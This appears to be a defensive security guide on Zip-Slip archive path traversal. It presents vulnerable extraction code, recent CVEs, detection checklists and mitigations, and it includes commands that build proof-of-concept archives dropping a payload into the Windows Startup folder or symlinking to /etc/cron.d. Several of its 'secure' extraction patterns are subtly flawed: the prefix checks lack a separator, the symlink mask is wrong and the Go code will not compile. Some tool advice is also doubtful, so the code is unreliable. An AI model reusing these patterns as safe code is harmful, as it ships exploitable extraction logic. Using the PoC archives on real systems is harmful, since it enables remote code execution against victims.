Archive Extraction Path Traversal Security

A comprehensive skill for understanding, detecting, and mitigating archive extraction path traversal vulnerabilities (commonly called "Zip-Slip").

What This Skill Does

• Detect vulnerable archive extraction code patterns
• Create PoC archives for security testing
• Analyze archive entries for suspicious paths
• Implement secure extraction patterns
• Understand real-world exploitation cases

Core Concepts

The Vulnerability

Archive formats (ZIP, RAR, TAR, 7-ZIP) allow each entry to carry its own internal path. When extraction utilities blindly trust these paths, crafted filenames containing

..

or absolute paths can write files outside the intended directory.

Attack flow:

1. Attacker creates archive with malicious entry paths (

   ../evil.exe

   or

   C:\Windows\payload.exe

   )
2. Victim extracts with vulnerable tool
3. File writes to attacker-controlled location
4. If location is auto-run (Startup folder, cron), achieves RCE

Common Vulnerable Patterns

.NET Path.Combine + ZipArchive

// VULNERABLE - don't do this
using (var zip = ZipFile.OpenRead(zipPath))
{
    foreach (var entry in zip.Entries)
    {
        var dest = Path.Combine(@"C:\samples\queue\", entry.FullName);
        entry.ExtractToFile(dest); // Path traversal if entry.FullName contains ..\ or is absolute
    }
}

Why it fails:

• Path.Combine

  discards the left component if the right is absolute
• No path canonicalization before write

• ..\

  sequences traverse outside destination

Go archiver.Unarchive()

// VULNERABLE - archiver <= 3.5.1
archiver.Unarchive("exploit.zip", "/tmp/safe")
// exploit.zip holds ../../../../home/user/.ssh/authorized_keys

Python zipfile

# VULNERABLE - no path validation
import zipfile
with zipfile.ZipFile('archive.zip', 'r') as zf:
    zf.extractall('/tmp/dest')  # Can extract outside if entries have ../

Creating Test Archives

Python: Create ZIP with Path Traversal

Use

scripts/create_traversal_zip.py

to generate test archives:

# Create ZIP with ../ traversal
python scripts/create_traversal_zip.py \
  --output test_traversal.zip \
  --entry "../evil/payload.txt" \
  --content "malicious content"

# Create ZIP with absolute path
python scripts/create_traversal_zip.py \
  --output test_absolute.zip \
  --entry "C:\\Windows\\System32\\evil.dll" \
  --content "payload"

# Create ZIP with symlink (Unix)
python scripts/create_traversal_zip.py \
  --output test_symlink.zip \
  --symlink "/etc/passwd" \
  --linkname "evil_link"

Bash: Create RAR with Path Traversal

# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*

The

-ep

flag preserves exact paths (doesn't prune leading

./

).

Bash: Create ZIP with Symlink

mkdir -p out
ln -s /etc/cron.d evil
zip -y exploit.zip evil  # -y preserves symlinks

Detection & Analysis

Analyze Archive Entries

Use

scripts/analyze_archive.py

to scan for suspicious entries:

# Check ZIP file for traversal patterns
python scripts/analyze_archive.py --file suspicious.zip

# Check all archives in directory
python scripts/analyze_archive.py --directory ./downloads/

# Verbose output with line numbers
python scripts/analyze_archive.py --file archive.zip --verbose

What it detects:

• ../

  or

  ..\\

  sequences
• Absolute paths (

  /

  ,

  C:

  ,

  \\\\

  )
• Symlink entries pointing outside destination
• Null bytes or other obfuscation

Manual Detection Checklist

When reviewing archive extraction code, check for:

1. Path canonicalization - Does code call

   realpath()

   ,

   PathCanonicalize()

   , or equivalent before write?
2. Destination validation - After canonicalization, does the path still start with the intended destination?
3. Symlink handling - Are symlinks extracted safely or blocked?
4. Absolute path rejection - Are absolute paths in entries rejected?
5. Sandbox extraction - Is extraction done in a disposable/sandboxed directory?

Secure Extraction Patterns

Python: Safe ZIP Extraction

import zipfile
import os
from pathlib import Path

def safe_extract(zip_path, dest_dir):
    dest_dir = Path(dest_dir).resolve()
    
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for entry in zf.infolist():
            # Check for path traversal
            target_path = (dest_dir / entry.filename).resolve()
            
            # Reject if outside destination
            if not str(target_path).startswith(str(dest_dir)):
                raise ValueError(f"Unsafe path: {entry.filename}")
            
            # Reject symlinks
            if entry.external_attr >> 16 & 0xA000:
                raise ValueError(f"Symlink not allowed: {entry.filename}")
            
            zf.extract(entry, dest_dir)

Go: Safe Extraction Pattern

import (
    "path/filepath"
    "os"
)

func safeExtractEntry(destDir, entryName string) error {
    // Canonicalize destination
    destDir, err := filepath.Abs(destDir)
    if err != nil {
        return err
    }
    
    // Join and canonicalize
    targetPath := filepath.Join(destDir, entryName)
    targetPath, err = filepath.Abs(targetPath)
    if err != nil {
        return err
    }
    
    // Verify still under destination
    if !strings.HasPrefix(targetPath, destDir+string(os.PathSeparator)) {
        return fmt.Errorf("path escapes destination: %s", entryName)
    }
    
    // Safe to extract
    return extractToFile(targetPath, entry)
}

.NET: Safe Extraction Pattern

using System.IO;
using System.IO.Compression;

public static void SafeExtract(string zipPath, string destDir)
{
    var dest = Path.GetFullPath(destDir);
    
    using (var zip = ZipFile.OpenRead(zipPath))
    {
        foreach (var entry in zip.Entries)
        {
            var target = Path.GetFullPath(Path.Combine(dest, entry.FullName));
            
            // Reject if outside destination
            if (!target.StartsWith(dest, StringComparison.OrdinalIgnoreCase))
            {
                throw new SecurityException($"Path traversal detected: {entry.FullName}");
            }
            
            entry.ExtractToFile(target, true);
        }
    }
}

Real-World Cases

CVE-2025-8088: WinRAR ≤ 7.12

Impact: RCE via Startup folder

WinRAR failed to validate filenames during extraction. A malicious RAR with entry:

..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe

Would extract to the Startup folder, executing on next login.

Exploitation in the wild: RomCom (Storm-0978/UNC2596) used this for spear-phishing campaigns.

Fix: Update to WinRAR 7.13+

CVE-2025-11001: 7-Zip Symlink Traversal

Impact: RCE via cron/service locations

7-Zip 21.02–24.09 dereferenced symlinks during extraction, allowing escape from destination directory.

Fix: Update to 7-Zip 25.00+

CVE-2025-3445: Go mholt/archiver

Impact: Arbitrary file write

archiver.Unarchive()

followed

../

and symlinked entries.

Fix: Switch to

mholt/archives

≥ 0.1.0 or implement canonical-path checks.

Mitigation Strategies

1. Update Extractors

Tool	Vulnerable	Fixed In
WinRAR	≤ 7.12	7.13+
7-Zip	21.02–24.09	25.00+
Go archiver	≤ 3.5.1	Use mholt/archives ≥ 0.1.0

2. Safe Extraction Options

• 7-Zip: Use

  -aoa

  (always overwrite) with path validation
• bsdtar: Use

  --safe --xattrs --no-same-owner

• Unzip: Use

  -o

  with pre-validation

3. Sandboxing

• Unix: Extract in chroot/namespace, drop privileges
• Windows: Use AppContainer or sandbox
• General: Extract to disposable directory, verify paths, then move

4. Code Review Checklist

• Path canonicalization before write
• Destination validation after canonicalization
• Symlink rejection or safe handling
• Absolute path rejection
• No trust of user-controlled archive entries

References

• Trend Micro ZDI-25-949 – 7-Zip symlink traversal
• JFrog Research – mholt/archiver Zip-Slip
• Meziantou – Prevent Zip Slip in .NET
• 0xdf – HTB Bruno ZipSlip → DLL hijack
• Snyk – Zip-Slip Advisory (2018)